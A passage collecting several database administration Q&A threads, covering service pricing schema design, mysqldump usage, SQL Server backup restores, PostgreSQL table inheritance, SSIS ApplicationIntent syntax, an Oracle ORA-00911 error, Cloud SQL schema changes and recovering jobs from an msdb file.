Service(123, 'Oil Changes'), Criteria('typeOfVehicle', 'SUV', null),ServicePriceCriteria(123, 'typeOfVehicle', 'SUV', 8)

For the second example it looks like this:

Service(124, 'Some Service'), Criteria('Size of wheel', '14', inches), ServicePriceCriteria(124, 'Size of wheel', '14', 10)
Service(124, 'Some Service'), Criteria('Size of wheel', '17', inches), ServicePriceCriteria(124, 'Size of wheel', '17', 15)

I hope so you realized what was my idea. I wanna to ask you is this my solution acceptable at all? And is this correct domain model of this database:
http://imageshack.us/photo/my-images/257/conceptual.png/

I think you are trying to be a bit too "elegant".  Einstein is quoted as saying "things should be made as simple as possible, but no simpler."

You are trying to have a single record for something like an oil change - but then you need two other tables that give you the flexibility to apply the approriate price for this service in different situations.

Instead, I would suggest that you flatten out your three tables and just have a SKU table which includes a default price.  You would have different SKU records for each kind of oil change, for example.

The service technician (i.e. user) needs to apply the proper SKU to each service they provide.  This way, you are relying on the user to pick the right service/price rather than trying to build a table-driven set of business rules that must be used so that you can "deduce" the proper pricing.  I would say, based on my experience, that users would much rather have a short list of SKUs to scan through and to pick from rather than having some kind of interactive expert system that asks them multiple questions about different criteria until the right answer finally pops out the bottom.

If you want to allow some drilling down (or some rolling up) for SKUs, you can create a grouping table that groups similar SKUs.  If you really feel it necessary, you could even make this grouping hierarchical.

Your model might look something like this:

This will be easier to build and maintain, and much easier to explain to your users.  I believe too, as I said before, that your users will find this to be easier to use at the service counter too.


How do I dump only the data for all tables using mysqldump I have a new database with schema and primary key, FK, index constraints created for all tables. How do I dump only the data from an existing database using mysqldump, so that I can import only the values alone and exclude everything else.

mysqldump --no-create-db --no-create-info  ...options...

See http://dev.mysql.com/doc/refman/5.5/en/mysqldump.html


Restoring .bak file SQL Server 2005 in SQL Server 2008 I don't have enough knowledge in SQL Server back and restore. I just want to know is it possible to restore an SQL Server 2005 .bak file in SQL Server 2008? If yes, how can I do it?

All restore operations in SQL Server are backward compatible. You can restore a 2005 backup on a 2008 instance just like you would restore a 2008 backup on that same instance.

There are some limitations to older SQL Server versions, but a backup that was taken on a 2005 or newer instance can currently be restored on any supported SQL Server version.

However, the backups themselves are not backwards compatible. So on a 2005 instance you cannot restore a backup that was taken on a 2008 instance.


mysqldump fails to dump database I m using following sql query for creating db backup

mysqldump -u[username] -p[password] -h[hostname] [database] | gzip > [backup file path]

This generates zipped .sql file in path specified but instead of containing sql dump it contains following comment in it everytime

-- MySQL dump 10.13  Distrib 5.5.23, for Linux (x86_64)
--
-- Host: localhost    Database: zm3_quizzes
-- ------------------------------------------------------
-- Server version   5.5.23-55

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

Why this is happening and how do I get backup of my database?

Thanks in advance.

If all you are getting is the header of the mysqldump, an error must be posted somewhere. In order to make the errors show up on demand, please run the dump like this:

mysqldump -u[username] -p[password] -h[hostname] zm3_quizzes 2>zm3_quizzes.err | gzip > [backup file path]

This should post the stderr of the mysqldump to zm3_quizzes.err.


What is the correct way to map relationships between structurally similar comments tables and commentable entities? I'm working on the usual comments table in postgres that has a one-to-many relationship with a commentable entity. In other words, one comment belongs to a post, and a post can have many comments.

The problem is that I have multiple commentable entities. My initial thought was to create a table for each entity, like posts_comments, and profile_comments, but that just feels wrong as all the comments are structurally similar. If I decide to allow commenting on say, user-posted pictures, then I would need to add another picture_comments table with identical columns. And then if I decide to add or remove any column, I would have to modify all the tables for consistency.

So I'm considering whether I should instead have a single comments table and then maintain referential integrity through intermediary join tables with a unique index on the comment_id foreign key to ensure the one-to-many relationship. Are there any performance or size-related downsides from doing this?

What is the best way to handle this in postgres or SQL in general? I looked around for solutions or clues on stackoverflow and dba exchange but did not find a satisfying answer. If someone can provide an answer or opinion or a link to an already answered question, I would really appreciate it.

I think you should really look into using inheritance to manage this particular issue.

Inheritance

Table inheritance does many things in PostgreSQL, and I'd highly recommend you refer to the online documentation about inheritance to get a feel for what it does and how it might work for you.

Since you stated that your comments are all structurally similar, then you can make a parent comments table as

CREATE TABLE comments (
/* columns here */
);

Then you can create the child comment tables as (for example)

CREATE TABLE posts_comments (
/* any columns unique to this table here */
) INHERITS(comments);

Now, posts_comments will have all columns from comments, plus any additional column fields which you believe are necessary for that particular table.  Rinse and repeat to make other tables which are children of the comments table.

Further, you can then query for all comments which match a particular condition

SELECT * FROM comments
WHERE condition = true;

and all comments meeting you condition will be returned.  That is, every comment from the comments table (if there are any entries, since this might just be an empty parent table), plus all comments from the child tables posts_comments, profile_coments, etc. will be returned by the SELECT.

You can also have ALTER TABLE propagate changes to all child tables through this structure.

Does this meet your needs?


Dates in openldap acl rules Is it possible to use dates in OpenLDAP's ACL entries?  I'm looking to do something like to * by this/termDate < NOW none by * break

I don't think it's possible within OpenLDAP.

When I've had to do something similar in the past, it was against an iPlanet/SunONE Directory Server, and we had a daily cron job that polled the payroll server for terminations, and then adjusted attributes as appropriate to lock the accounts.

The only approach I can think to try is if there's some way to get the equivalent of NOW in an ldap filter, so you could add a 'what' clause like:

filter=( termDate < NOW )

... but I don't know of any way to do that without some sort of external intervention to set NOW.


Usage of ApplicationIntent Parameter in SSIS connections I ran into a puzzling configuration anomaly with a SSIS package establishing a OLEDB connection to a SQL Server 2012 availability group. The DBAs administering the AG requested that all developers target a secondary node by specifying the AG listener name and the DB part of the AG, and using ApplicationIntent=ReadOnly as an additional parameter in their connection strings. The routing to the secondary works with sqlcmd using the -K switch but SSIS packages were still being routed to the primary. An example of the connection string they requested is below. This was utilized as a project level config item in the SSISDB catalog.

Provider=SQLNCLI11.1;Server=xxx.xxxx.xxxxx.xxx.com;UID=YourNameHere;Database=AGDB;ApplicationIntent=ReadOnly;Application Name=SomethingForProfilerAndXEToFilterOn

During debugging, the OLEDB connection was created from scratch using the SQL Server Data Tools GUI. The notable difference in the connection string was the the addition of a space to have parameter now read Application Intent=ReadOnly. Connections to the secondary are now successful.

It appears that the OLEDB driver accepts both variations but only the one with the space is implemented properly with SSIS packages. Is this an anomaly with SSIS or with the SQL Server Native client/OLEDB driver?

This is by design

Depending on the SNAC protocol you are using there is a slight variation in the application intent connection string property.

When using SQL Native Access Client SQL OLE DB, the application intent connection string should be specified with a space: 'Application Intent'
When connecting using SQLClient or ODBC specify 'ApplicationIntent' with no space

https://blogs.msdn.microsoft.com/alwaysonpro/2013/08/02/connect-to-sql-server-using-application-intent-read-only/


trying to execute SQL query on an oracle 10g database using java but getting ORA-00911 error I am trying to execute a simple CREATE TABLE query on an oracle10g database using java.  This is what I am doing:

Connection conn = //create connection
//open connection.  No errors/warnings are generated so I assume this succeeds
Statement statement = conn.createStatement();
ResultSet rs = statement.executeQuery("CREATE TABLE t1 (c1 INTEGER NOT NULL, c2 VARCHAR(100), c3 INTEGER NULL, CONSTRAINT m_pk PRIMARY KEY (c1));");
...
//close connection.  No errors again so I assume it succeeds.

When I execute the command (copying and pasting into terminal window) directly on the command line, it succeeds.  When I run the above java code, this is the error I get:

java.sql.SQLSyntaxErrorException: ORA-00911: invalid character

I dont understand how I could have an invalid character since copying and pasting it into terminal works perfectly fine.

Nevermind. I jumped the gun on posting here! When executing queries in java, I am not suppose to put the semi-colon at the end of the statement. I had tried not putting the semi-colon at the end and it ran without errors but I thought I had checked my database and saw that no table was created. I have now confirmed that dropping the semi-colon has worked!


Online schema changes for cloudsql DB I'm new to cloudsql for mysql. I have a table with trigger. I need to do some ddl changes on that table. However, I can't take any downtime.
What I have tried so far:
I tried with pt-online-schema-change. Because, it work for our local databases. However, in case of managed cloudsql - it wasn't working. Opened an issue with Percona(PT-1964).
Next, I checked for gh-ost. However, as per their documentation(https://github.com/github/gh-ost/blob/master/doc/requirements-and-limitations.md) -it doesn't support any table with trigger.
Making changes with shared lock option isn't available for me - because we have a replica too.
Does anyone knows any other method/suggeation to make ddl changes online for cloudsql for mysql.
Thanks in advance!

ALTER TABLE t MODIFY COLUMN c ENUM(...) ...

If that is only adding a new option on the end and not going past 255 options, that should be a "schema-only" change that happens instantly.  (This was in 5.5, so has been around for 12 years.)
Any other change to the ENUM is likely to require a "copy" of the table (slow).
ALTER TABLE t ADD INDEX (...)

has been efficient (not instant, but did not require copying the table over) since 5.6 (2013).
For other column alterations -- It depends.
That probably does not apply to ADD UNIQUE, and certainly does not apply to any changes to the PRIMARY KEY.
So, based on that info, I would expect Cloud-SQL with 5.7 to handle things "fast".  (Sorry, but I have no direct knowledge of that port of MySQL.)  I suggest you take it up with the vendor.


Recover Jobs from a MSDB I need to recover the jobs from a MSDB file. I had to fully reinstall a new SQL Server and Windows Server, but apparently I forgot to ever do a MSDB backup. Yup, big blunder. Now I need to restore it or at least get the jobs out of it, which are essential to day-to-day operations. Our tape backups that have the backup I need will arrive here by Saturday but I don't want to risk another day without those jobs running. I tried to the sp_dbattach procedure so I could get the scripts out but apparently the log file is broken because it had some transactions going on when the other server went down. Do I have any option?

You should be able to connect the msdb.mdf using:

CREATE DATABASE msdbtest ON (
    NAME = 'msdb_data'
    , FILENAME = 'c:\path_to_your_old_msdb\msdb_data.mdf'
) FOR ATTACH;

Note, depending on the operating system where you are running the above command, you may need to elevate permissions for SQL Server Management Studio (runas administrator) for the command to work.  See my question here for details.

I purposely corrupted the .ldf on my machine before attaching the file, and received the following error message about the newly attached msdbtest database:

File activation failure. The physical file name "C:\SQLServer\Logs\msdbtest_log.ldf" may be incorrect.
New log file 'c:\sqlserver\data\msdbtest_log.ldf' was created.
Msg 824, Level 24, State 2, Line 1
SQL Server detected a logical consistency-based I/O error: incorrect checksum
(expected: 0xa3ba6e3e; actual: 0x208d1401). It occurred during a read of page (2:0)
 in database ID 11 at offset 0000000000000000 in file 'C:\SQLServer
 \Logs\msdbtest_log.ldf'.  Additional messages in the SQL Server error log or system
 event log may provide more detail. This is a severe error condition that threatens
 database integrity and must be corrected immediately. Complete a full database
 consistency check (DBCC CHECKDB). This error can be caused by many factors; for more
 information, see SQL Server Books Online.

I ran DBCC CHECKDB('msdbtest') which reported no errors.  I was then able to run the following SELECT statements to see details about the jobs stored in msdb.

SELECT * FROM dbo.sysjobs
SELECT * FROM dbo.sysjobsteps
SELECT * FROM dbo.sysjobstepslogs
SELECT * FROM dbo.sysjobschedules
SELECT * FROM dbo.sysjobservers
SELECT * FROM dbo.sysjobhistory
SELECT * FROM dbo.sysjobactivity

You could use the information stored in these tables to recreate the jobs.